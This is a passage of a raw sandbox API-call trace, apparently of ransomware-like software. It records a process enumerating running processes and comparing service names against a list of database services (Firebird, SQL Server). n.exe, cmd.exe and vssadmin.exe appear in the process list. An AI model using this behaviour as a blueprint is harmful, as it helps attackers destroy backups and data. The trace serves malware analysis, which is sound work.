th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.043] lstrlenW (lpString="svchost.exe") returned 11 [0199.043] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.043] lstrlenW (lpString="svchost.exe") returned 11 [0199.044] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.044] lstrlenW (lpString="svchost.exe") returned 11 [0199.044] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0199.044] lstrlenW (lpString="audiodg.exe") returned 11 [0199.044] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.045] lstrlenW (lpString="svchost.exe") returned 11 [0199.045] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0199.045] lstrlenW (lpString="explorer.exe") returned 12 [0199.045] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0199.046] lstrlenW (lpString="dwm.exe") returned 7 [0199.046] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.046] lstrlenW (lpString="svchost.exe") returned 11 [0199.046] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0199.046] lstrlenW (lpString="n.exe") returned 5 [0199.046] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0199.047] lstrlenW (lpString="spoolsv.exe") returned 11 [0199.047] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.047] lstrlenW (lpString="svchost.exe") returned 11 [0199.047] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0199.048] lstrlenW (lpString="taskhost.exe") returned 12 [0199.048] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0199.048] lstrlenW (lpString="reader_sl.exe") returned 13 [0199.048] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0199.048] lstrlenW (lpString="n.exe") returned 5 [0199.049] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0199.049] lstrlenW (lpString="cmd.exe") returned 7 [0199.049] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0199.049] lstrlenW (lpString="conhost.exe") returned 11 [0199.049] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0199.050] lstrlenW (lpString="vssadmin.exe") returned 12 [0199.050] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0199.050] lstrlenW (lpString="VSSVC.exe") returned 9 [0199.050] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.050] lstrlenW (lpString="svchost.exe") returned 11 [0199.051] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0199.051] CloseHandle (hObject=0x1d0) returned 1 [0199.051] Sleep (dwMilliseconds=0x1f4) [0199.714] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x633dc8 [0199.730] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 0 [0199.758] GetLastError () returned 0xea [0199.758] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x12c6) returned 0x6b5c80 [0199.759] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6b5c80, cbBufSize=0x12c6, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6b5c80, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 1 [0199.759] CloseServiceHandle (hSCObject=0x633dc8) returned 1 [0199.759] lstrlenW (lpString="Appinfo") returned 7 [0199.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0199.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0199.759] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0199.760] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0199.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0199.760] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0199.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0199.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0199.760] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0199.760] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0199.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0199.760] lstrlenW (lpString="AudioSrv") returned 8 [0199.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0199.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0199.760] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0199.760] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0199.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0199.760] lstrlenW (lpString="BFE") returned 3 [0199.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0199.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0199.760] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0199.760] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0199.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0199.760] lstrlenW (lpString="CryptSvc") returned 8 [0199.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0199.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0199.760] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0199.760] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0199.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0199.760] lstrlenW (lpString="CscService") returned 10 [0199.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0199.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0199.761] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0199.761] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0199.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0199.761] lstrlenW (lpString="DcomLaunch") returned 10 [0199.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0199.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0199.761] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0199.761] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0199.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0199.761] lstrlenW (lpString="Dhcp") returned 4 [0199.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0199.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0199.761] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0199.761] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0199.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0199.761] lstrlenW (lpString="Dnscache") returned 8 [0199.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0199.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0199.761] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0199.761] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0199.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0199.761] lstrlenW (lpString="DPS") returned 3 [0199.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0199.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0199.762] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0199.762] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0199.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0199.762] lstrlenW (lpString="eventlog") returned 8 [0199.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0199.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0199.762] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0199.762] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0199.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0199.762] lstrlenW (lpString="EventSystem") returned 11 [0199.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0199.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0199.762] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0199.762] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0199.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0199.762] lstrlenW (lpString="gpsvc") returned 5 [0199.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0199.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0199.762] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0199.762] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0199.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0199.762] lstrlenW (lpString="iphlpsvc") returned 8 [0199.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0199.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0199.762] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0199.762] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0199.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0199.762] lstrlenW (lpString="LanmanServer") returned 12 [0199.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0199.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0199.763] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0199.763] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0199.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0199.763] lstrlenW (lpString="LanmanWorkstation") returned 17 [0199.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0199.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0199.763] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0199.763] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0199.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0199.763] lstrlenW (lpString="lmhosts") returned 7 [0199.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0199.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0199.763] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0199.763] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0199.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0199.763] lstrlenW (lpString="MMCSS") returned 5 [0199.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0199.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0199.763] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0199.763] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0199.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0199.763] lstrlenW (lpString="MpsSvc") returned 6 [0199.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0199.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0199.763] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0199.763] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0199.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0199.764] lstrlenW (lpString="Netman") returned 6 [0199.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0199.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0199.764] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0199.764] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0199.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0199.764] lstrlenW (lpString="netprofm") returned 8 [0199.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0199.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0199.764] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0199.764] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0199.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0199.764] lstrlenW (lpString="NlaSvc") returned 6 [0199.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0199.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0199.764] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0199.764] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0199.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0199.764] lstrlenW (lpString="nsi") returned 3 [0199.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0199.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0199.764] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0199.764] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0199.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0199.764] lstrlenW (lpString="PcaSvc") returned 6 [0199.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0199.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0199.764] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0199.764] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0199.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0199.765] lstrlenW (lpString="PlugPlay") returned 8 [0199.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0199.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0199.765] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0199.765] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0199.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0199.765] lstrlenW (lpString="Power") returned 5 [0199.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0199.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0199.765] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0199.765] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0199.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0199.765] lstrlenW (lpString="ProfSvc") returned 7 [0199.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0199.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0199.765] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0199.765] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0199.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0199.765] lstrlenW (lpString="RpcEptMapper") returned 12 [0199.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0199.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0199.765] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0199.765] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0199.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0199.765] lstrlenW (lpString="RpcSs") returned 5 [0199.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0199.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0199.765] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0199.765] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0199.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0199.766] lstrlenW (lpString="SamSs") returned 5 [0199.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0199.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0199.766] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0199.766] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0199.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0199.766] lstrlenW (lpString="Schedule") returned 8 [0199.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0199.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0199.766] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0199.766] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0199.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0199.766] lstrlenW (lpString="SENS") returned 4 [0199.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0199.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0199.766] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0199.766] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0199.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0199.766] lstrlenW (lpString="ShellHWDetection") returned 16 [0199.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0199.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0199.766] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0199.766] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0199.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0199.766] lstrlenW (lpString="Spooler") returned 7 [0199.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0199.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0199.767] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0199.767] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0199.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0199.767] lstrlenW (lpString="swprv") returned 5 [0199.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0199.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0199.767] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0199.767] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0199.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0199.767] lstrlenW (lpString="SysMain") returned 7 [0199.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0199.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0199.767] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0199.767] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0199.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0199.767] lstrlenW (lpString="Themes") returned 6 [0199.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0199.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0199.767] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0199.767] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0199.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0199.767] lstrlenW (lpString="TrkWks") returned 6 [0199.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0199.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0199.767] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0199.767] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0199.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0199.767] lstrlenW (lpString="UxSms") returned 5 [0199.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0199.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0199.768] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0199.768] lstrcmpiW 